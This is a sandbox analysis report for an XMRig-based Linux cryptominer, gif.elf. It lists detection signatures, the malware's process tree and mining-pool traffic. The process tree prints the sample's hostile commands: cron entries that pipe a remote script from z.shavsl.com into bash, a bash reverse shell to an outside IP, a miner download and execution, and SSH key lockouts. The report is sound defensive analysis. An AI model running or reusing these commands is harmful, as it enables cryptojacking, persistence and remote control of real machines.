Edit tour

Linux Analysis Report
gif.elf

Overview

General Information

Sample name:	gif.elf
Analysis ID:	1632589
MD5:	df39997c92ecbb40234b4d54a9964db3
SHA1:	11a41f63791b3fede4a026fc2d813a65ad5d3240
SHA256:	cfebc5893d357c3ade6a946a3e826be23ba3c86a679df4c2a3799f5a6715bc06
Tags:	elfuser-abuse_ch
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Xmrig cryptocurrency miner

Detected Stratum mining protocol

Drops invisible ELF files

Executes itself again with its parent PID as an argument (indicative of hampering debugging)

Found strings related to Crypto-Mining

Protects files from modification

Sample is packed with UPX

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to persist itself using cron

Sample tries to set files in /etc globally writable

Terminates several processes with shell command 'killall'

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "curl" command used to transfer data via the network (typically using HTTP/S)

Executes the "rm" command used to delete files or directories

Reads CPU information from /proc indicative of miner or evasive malware

Reads CPU information from /sys indicative of miner or evasive malware

Reads system information from the proc file system

Reads the 'hosts' file potentially containing internal network hosts

Removes protection from files

Sample contains only a LOAD segment without any section mappings

Sample tries to set the executable flag

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Writes crontab like entries to files to /var or /etc typically for achieving persistence

Writes shell script file to disk with an unusual file extension

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1632589
Start date and time:	2025-03-08 11:39:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	gif.elf
Detection:	MAL
Classification:	mal100.troj.evad.mine.linELF@0/10@12/0

Warnings

Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: o.softgoldinformation.com

Runtime Messages

Command:	/tmp/gif.elf
PID:	5638
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

gif.elf (PID: 5638, Parent: 5557, MD5: df39997c92ecbb40234b4d54a9964db3) Arguments: /tmp/gif.elf

gif.elf New Fork (PID: 5639, Parent: 5638)

gif.elf New Fork (PID: 5640, Parent: 5639)

gif.elf New Fork (PID: 5641, Parent: 5640)

sh (PID: 5641, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia -R /root/.ssh"

sh New Fork (PID: 5642, Parent: 5641)

chattr (PID: 5642, Parent: 5641, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia -R /root/.ssh

gif.elf New Fork (PID: 5643, Parent: 5640)

sh (PID: 5643, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /root/.ssh/authorized_keys2"

sh New Fork (PID: 5644, Parent: 5643)

rm (PID: 5644, Parent: 5643, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /root/.ssh/authorized_keys2

gif.elf New Fork (PID: 5645, Parent: 5640)

sh (PID: 5645, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr +i /root/.ssh/authorized_keys2"

sh New Fork (PID: 5646, Parent: 5645)

chattr (PID: 5646, Parent: 5645, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr +i /root/.ssh/authorized_keys2

gif.elf New Fork (PID: 5647, Parent: 5640)

sh (PID: 5647, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia -R /etc/cron.d > /dev/null 2>&1"

sh New Fork (PID: 5648, Parent: 5647)

chattr (PID: 5648, Parent: 5647, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia -R /etc/cron.d

gif.elf New Fork (PID: 5649, Parent: 5640)

sh (PID: 5649, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /etc/crontab > /dev/null 2>&1"

sh New Fork (PID: 5650, Parent: 5649)

chattr (PID: 5650, Parent: 5649, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /etc/crontab

gif.elf New Fork (PID: 5651, Parent: 5640)

sh (PID: 5651, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia -R /var/spool/cron > /dev/null 2>&1"

sh New Fork (PID: 5652, Parent: 5651)

chattr (PID: 5652, Parent: 5651, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia -R /var/spool/cron

gif.elf New Fork (PID: 5653, Parent: 5640)

sh (PID: 5653, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia -R /var/spool/cron/crontabs > /dev/null 2>&1"

sh New Fork (PID: 5654, Parent: 5653)

chattr (PID: 5654, Parent: 5653, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia -R /var/spool/cron/crontabs

gif.elf New Fork (PID: 5655, Parent: 5640)

sh (PID: 5655, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia -R /etc/cron.hourly > /dev/null 2>&1"

sh New Fork (PID: 5656, Parent: 5655)

chattr (PID: 5656, Parent: 5655, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia -R /etc/cron.hourly

gif.elf New Fork (PID: 5657, Parent: 5640)

sh (PID: 5657, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo '0 1 * * * root curl -fs http://z.shavsl.com/b|bash ' > /etc/cron.d/watch"

gif.elf New Fork (PID: 5658, Parent: 5640)

sh (PID: 5658, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo '0 2 * * * root wget -c http://z.shavsl.com/b -qO -|bash ' >> /etc/cron.d/watch"

gif.elf New Fork (PID: 5659, Parent: 5640)

sh (PID: 5659, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr +i /etc/cron.d/watch > /dev/null 2>&1"

sh New Fork (PID: 5660, Parent: 5659)

chattr (PID: 5660, Parent: 5659, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr +i /etc/cron.d/watch

gif.elf New Fork (PID: 5661, Parent: 5640)

sh (PID: 5661, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo '#!/bin/bash' > /etc/cron.hourly/prelink"

gif.elf New Fork (PID: 5662, Parent: 5640)

sh (PID: 5662, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo 'bash -i >& /dev/tcp/198.144.156.34/8443 0>&1' >> /etc/cron.hourly/prelink"

gif.elf New Fork (PID: 5663, Parent: 5640)

sh (PID: 5663, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod 755 /etc/cron.hourly/prelink"

sh New Fork (PID: 5664, Parent: 5663)

chmod (PID: 5664, Parent: 5663, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 755 /etc/cron.hourly/prelink

gif.elf New Fork (PID: 5665, Parent: 5640)

sh (PID: 5665, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr +i /etc/cron.hourly/prelink > /dev/null 2>&1"

sh New Fork (PID: 5666, Parent: 5665)

chattr (PID: 5666, Parent: 5665, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr +i /etc/cron.hourly/prelink

gif.elf New Fork (PID: 5667, Parent: 5640)

sh (PID: 5667, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia -R /root/.ssh"

sh New Fork (PID: 5668, Parent: 5667)

chattr (PID: 5668, Parent: 5667, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia -R /root/.ssh

gif.elf New Fork (PID: 5669, Parent: 5640)

sh (PID: 5669, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /root/.ssh/authorized_keys"

sh New Fork (PID: 5670, Parent: 5669)

rm (PID: 5670, Parent: 5669, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /root/.ssh/authorized_keys

gif.elf New Fork (PID: 5671, Parent: 5640)

sh (PID: 5671, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr +i /root/.ssh/authorized_keys"

sh New Fork (PID: 5672, Parent: 5671)

chattr (PID: 5672, Parent: 5671, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr +i /root/.ssh/authorized_keys

gif.elf New Fork (PID: 5673, Parent: 5640)

sh (PID: 5673, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia -R /root/.ssh"

sh New Fork (PID: 5674, Parent: 5673)

chattr (PID: 5674, Parent: 5673, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia -R /root/.ssh

gif.elf New Fork (PID: 5675, Parent: 5640)

sh (PID: 5675, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /root/.ssh/authorized_keys2"

sh New Fork (PID: 5676, Parent: 5675)

rm (PID: 5676, Parent: 5675, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /root/.ssh/authorized_keys2

gif.elf New Fork (PID: 5677, Parent: 5640)

sh (PID: 5677, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr +i /root/.ssh/authorized_keys2"

sh New Fork (PID: 5678, Parent: 5677)

chattr (PID: 5678, Parent: 5677, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr +i /root/.ssh/authorized_keys2

gif.elf New Fork (PID: 5679, Parent: 5640)

sh (PID: 5679, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner && chmod 755 /tmp/.miner && /tmp/.miner"

sh New Fork (PID: 5680, Parent: 5679)

curl (PID: 5680, Parent: 5679, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner

sh New Fork (PID: 5685, Parent: 5679)

chmod (PID: 5685, Parent: 5679, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 755 /tmp/.miner

sh New Fork (PID: 5686, Parent: 5679)

.miner (PID: 5686, Parent: 5679, MD5: 44de739950eb4a8a3552b4e1987e8ec2) Arguments: /tmp/.miner

.miner New Fork (PID: 5687, Parent: 5686)

sh (PID: 5687, Parent: 5686, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -f /etc/hosts.old"

sh New Fork (PID: 5688, Parent: 5687)

rm (PID: 5688, Parent: 5687, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /etc/hosts.old

.miner New Fork (PID: 5689, Parent: 5686)

.miner New Fork (PID: 5690, Parent: 5689)

sh (PID: 5690, Parent: 5689, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mount --bind /proc/1 /proc/5689"

sh New Fork (PID: 5692, Parent: 5690)

mount (PID: 5692, Parent: 5690, MD5: 92b20aa8b155ecd3ba9414aa477ef565) Arguments: mount --bind /proc/1 /proc/5689

gif.elf New Fork (PID: 5691, Parent: 5640)

sh (PID: 5691, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /tmp/python > /dev/null 2>&1 && rm -rf /tmp/python > /dev/null 2>&1"

sh New Fork (PID: 5693, Parent: 5691)

chattr (PID: 5693, Parent: 5691, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /tmp/python

gif.elf New Fork (PID: 5718, Parent: 5640)

sh (PID: 5718, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia chattr -ia /usr/bin/bsd-port/getty > /dev/null 2>&1 && rm -rf /usr/bin/bsd-port/getty > /dev/null 2>&1"

sh New Fork (PID: 5719, Parent: 5718)

chattr (PID: 5719, Parent: 5718, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia chattr -ia /usr/bin/bsd-port/getty

gif.elf New Fork (PID: 5721, Parent: 5640)

sh (PID: 5721, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /usr/bin/.sshd > /dev/null 2>&1 && rm -rf /usr/bin/.sshd > /dev/null 2>&1"

sh New Fork (PID: 5722, Parent: 5721)

chattr (PID: 5722, Parent: 5721, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /usr/bin/.sshd

gif.elf New Fork (PID: 5723, Parent: 5640)

sh (PID: 5723, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /etc/rc.d/init.d/selinux > /dev/null 2>&1 && rm -rf /etc/rc.d/init.d/selinux > /dev/null 2>&1"

sh New Fork (PID: 5724, Parent: 5723)

chattr (PID: 5724, Parent: 5723, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /etc/rc.d/init.d/selinux

gif.elf New Fork (PID: 5725, Parent: 5640)

sh (PID: 5725, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /etc/rc.d/init.d/DbSecuritySp > /dev/null 2>&1 && rm -rf /etc/rc.d/init.d/DbSecuritySpt > /dev/null 2>&1"

sh New Fork (PID: 5726, Parent: 5725)

chattr (PID: 5726, Parent: 5725, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /etc/rc.d/init.d/DbSecuritySp

gif.elf New Fork (PID: 5727, Parent: 5640)

sh (PID: 5727, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /usr/bin/sh.sh > /dev/null 2>&1 && rm -rf /usr/bin/sh.sh > /dev/null 2>&1"

sh New Fork (PID: 5728, Parent: 5727)

chattr (PID: 5728, Parent: 5727, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /usr/bin/sh.sh

gif.elf New Fork (PID: 5729, Parent: 5640)

sh (PID: 5729, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /etc/cron.hourly/cron.sh > /dev/null 2>&1 && rm -rf /etc/cron.hourly/cron.sh > /dev/null 2>&1"

sh New Fork (PID: 5730, Parent: 5729)

chattr (PID: 5730, Parent: 5729, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /etc/cron.hourly/cron.sh

gif.elf New Fork (PID: 5731, Parent: 5640)

sh (PID: 5731, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /lib/udev/udev /lib/udev/debug > /dev/null 2>&1 && rm -rf /lib/udev/udev /lib/udev/debug > /dev/null 2>&1"

sh New Fork (PID: 5732, Parent: 5731)

chattr (PID: 5732, Parent: 5731, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /lib/udev/udev /lib/udev/debug

gif.elf New Fork (PID: 5733, Parent: 5640)

sh (PID: 5733, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chattr -ia /usr/bin/xrig > /dev/null 2>&1 && rm -rf /usr/bin/xrig 1> /dev/null 2>&1"

sh New Fork (PID: 5734, Parent: 5733)

chattr (PID: 5734, Parent: 5733, MD5: fae2c2deaeca3bbf906fb8034304ad32) Arguments: chattr -ia /usr/bin/xrig

gif.elf New Fork (PID: 5735, Parent: 5640)

sh (PID: 5735, Parent: 5640, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall .sshd xrig getty > /dev/null 2>&1 "

sh New Fork (PID: 5736, Parent: 5735)

killall (PID: 5736, Parent: 5735, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall .sshd xrig getty

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XMRIG		No Attribution	https://www.aquasec.com/blog/container-security-tnt-container-attack/ https://www.aquasec.com/blog/pg_mem-a-malware-hidden-in-the-postgres-processes/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.xmrig

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
5686.1.0000000000400000.0000000000886000.r-x.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
5686.1.0000000000400000.0000000000886000.r-x.sdmp	Linux_Trojan_Pornoasset_927f314f	unknown	unknown	0x13ce98:$a: C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48
5686.1.0000000000400000.0000000000886000.r-x.sdmp	miner_lin_xmrig_strings	Detects XMRig ELF	Sekoia.io	0x3a6d40:$: XMRig 0x3a736f:$: IP Address currently banned 0x3a7478:$: rigid 0x3a843b:$: pool address 0x3a8448:$: ping time 0x3a8452:$: connection time 0x401d70:$: connection time 0x3a8a10:$: socks5:// 0x3a4688:$: stratum+ssl:// 0x3a8a20:$: stratum+ssl:// 0x3b36d8:$: stratum+ssl:// 0x3a8a30:$: stratum+tcp://
Process Memory Space: sh PID: 5686	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: .miner PID: 5686	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: gif.elf

Avira: detected

Antivirus detection for dropped file

Source: /tmp/.miner

Avira: detection malicious, Label: LINUX/BitCoinMiner.jrext

Multi AV Scanner detection for submitted file

Source: gif.elf	Virustotal: Detection: 8%			Perma Link
Source: gif.elf	ReversingLabs: Detection: 31%

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 5686.1.0000000000400000.0000000000886000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sh PID: 5686, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: .miner PID: 5686, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic	TCP traffic: 192.168.2.14:48880 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48882 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48884 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48886 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48888 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48892 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48894 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48896 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48898 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48900 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48904 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48906 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48908 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48910 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
